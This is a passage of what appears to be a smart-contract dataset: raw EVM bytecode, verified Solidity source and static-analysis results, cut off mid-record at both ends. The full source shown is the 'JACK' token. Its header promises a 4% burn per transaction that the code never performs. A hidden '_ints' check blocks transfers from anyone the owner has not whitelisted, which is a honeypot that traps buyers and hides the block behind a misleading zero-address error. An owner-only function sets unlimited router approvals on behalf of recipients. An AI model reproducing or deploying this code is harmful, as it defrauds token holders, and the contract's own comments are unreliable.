ffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161053a9190611505565b60405180910390a36105d4843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cf91906117f8565b610c5d565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066e611260565b73ffffffffffffffffffffffffffffffffffffffff1661068c6106ee565b73ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990611878565b60405180910390fd5b6106ec6000611268565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461072690611706565b80601f016020809104026020016040519081016040528092919081815260200182805461075290611706565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b60006107b6338484610df8565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108139190611505565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600267ffffffffffffffff8111156108cf576108ce611898565b5b6040519080825280602002602001820160405280156108fd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099191906118dc565b816000815181106109a5576109a4611909565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106109f4576109f3611909565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008434610a3c9190611967565b905060005b85811015610af157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008688426040518663ffffffff1660e01b8152600401610aac9493929190611a91565b6000604051808303818588803b158015610ac557600080fd5b505af1158015610ad9573d6000803e3d6000fd5b50505050508080610ae990611add565b915050610a41565b503373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610b38573d6000803e3d6000fd5b505050505050565b610b48611260565b73ffffffffffffffffffffffffffffffffffffffff16610b666106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb390611878565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2290611b97565b60405180910390fd5b610c3481611268565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cc85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfe90611c29565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610de59190611505565b60405180910390a3600190509392505050565b6000600c600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610f1a57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f24575081155b15610f805780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7891906117f8565b925050819055505b84600c600080815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156110215750600084145b1561107d5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110759190611c49565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110cc9190611c49565b9250508190555060006001546064866110e59190611967565b6110ef9190611c9f565b905080856110fd91906117f8565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461114e91906117f8565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a49190611c49565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111fa91906117f8565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112509190611c49565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561136657808201518184015260208101905061134b565b83811115611375576000848401525b50505050565b6000601f19601f8301169050919050565b60006113978261132c565b6113a18185611337565b93506113b1818560208601611348565b6113ba8161137b565b840191505092915050565b600060208201905081810360008301526113df818461138c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611417826113ec565b9050919050565b6114278161140c565b811461143257600080fd5b50565b6000813590506114448161141e565b92915050565b6000819050919050565b61145d8161144a565b811461146857600080fd5b50565b60008135905061147a81611454565b92915050565b60008060408385031215611497576114966113e7565b5b60006114a585828601611435565b92505060206114b68582860161146b565b9150509250929050565b60008115159050919050565b6114d5816114c0565b82525050565b60006020820190506114f060008301846114cc565b92915050565b6114ff8161144a565b82525050565b600060208201905061151a60008301846114f6565b92915050565b600080600060608486031215611539576115386113e7565b5b600061154786828701611435565b935050602061155886828701611435565b92505060406115698682870161146b565b9150509250925092565b61157c8161140c565b82525050565b60006020820190506115976000830184611573565b92915050565b6000602082840312156115b3576115b26113e7565b5b60006115c184828501611435565b91505092915050565b600080604083850312156115e1576115e06113e7565b5b60006115ef85828601611435565b925050602061160085828601611435565b9150509250929050565b600080600060608486031215611623576116226113e7565b5b60006116318682870161146b565b935050602061164286828701611435565b925050604061165386828701611435565b9150509250925092565b6000819050919050565b600061168261167d611678846113ec565b61165d565b6113ec565b9050919050565b600061169482611667565b9050919050565b60006116a682611689565b9050919050565b6116b68161169b565b82525050565b60006020820190506116d160008301846116ad565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061171e57607f821691505b602082108103611731576117306116d7565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611793602983611337565b915061179e82611737565b604082019050919050565b600060208201905081810360008301526117c281611786565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118038261144a565b915061180e8361144a565b925082821015611821576118206117c9565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611862602083611337565b915061186d8261182c565b602082019050919050565b6000602082019050818103600083015261189181611855565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118d68161141e565b92915050565b6000602082840312156118f2576118f16113e7565b5b6000611900848285016118c7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006119728261144a565b915061197d8361144a565b92508261198d5761198c611938565b5b828204905092915050565b6000819050919050565b60006119bd6119b86119b384611998565b61165d565b61144a565b9050919050565b6119cd816119a2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a088161140c565b82525050565b6000611a1a83836119ff565b60208301905092915050565b6000602082019050919050565b6000611a3e826119d3565b611a4881856119de565b9350611a53836119ef565b8060005b83811015611a84578151611a6b8882611a0e565b9750611a7683611a26565b925050600181019050611a57565b5085935050505092915050565b6000608082019050611aa660008301876119c4565b8181036020830152611ab88186611a33565b9050611ac76040830185611573565b611ad460608301846114f6565b95945050505050565b6000611ae88261144a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b1a57611b196117c9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611b81602683611337565b9150611b8c82611b25565b604082019050919050565b60006020820190508181036000830152611bb081611b74565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c13602483611337565b9150611c1e82611bb7565b604082019050919050565b60006020820190508181036000830152611c4281611c06565b9050919050565b6000611c548261144a565b9150611c5f8361144a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c9457611c936117c9565b5b828201905092915050565b6000611caa8261144a565b9150611cb58361144a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611cee57611ced6117c9565b5b82820290509291505056fea264697066735822122024b4dc249063a50efaed23a487710bf594d8ee285ba371f1d1863e2827d5ce2064736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,864 |
0xf374d6b77a633e37c6705c36f6e0ed79ac24c2e9 | /**
.---. _..._
| | .-'_..._''.
'---' .' .' '.\ .
.---. / .' .'|
| | . ' .' |
| | __ | | < |
| | .:--.'. | | | | ____
| |/ | \ |. ' | | \ .'
| |`" __ | | \ '. .| |/ .
| | .'.''| | '. `._____.-'/| /\ \
__.' '/ / | |_ `-.______ / | | \ \
| ' \ \._,\ '/ ` ' \ \ \
|____.' `--' `" '------' '---'
Total Supply: 500 JACK
4% burn each transaction.
*/
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e235fec37aa1b4d27fd53893a10fb6a33de866b7e19d23a28ec54dbca47702cb64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 9,865 |
0x2cc114bbe7b551d62b15c465c7bdcccd9125b182 | pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
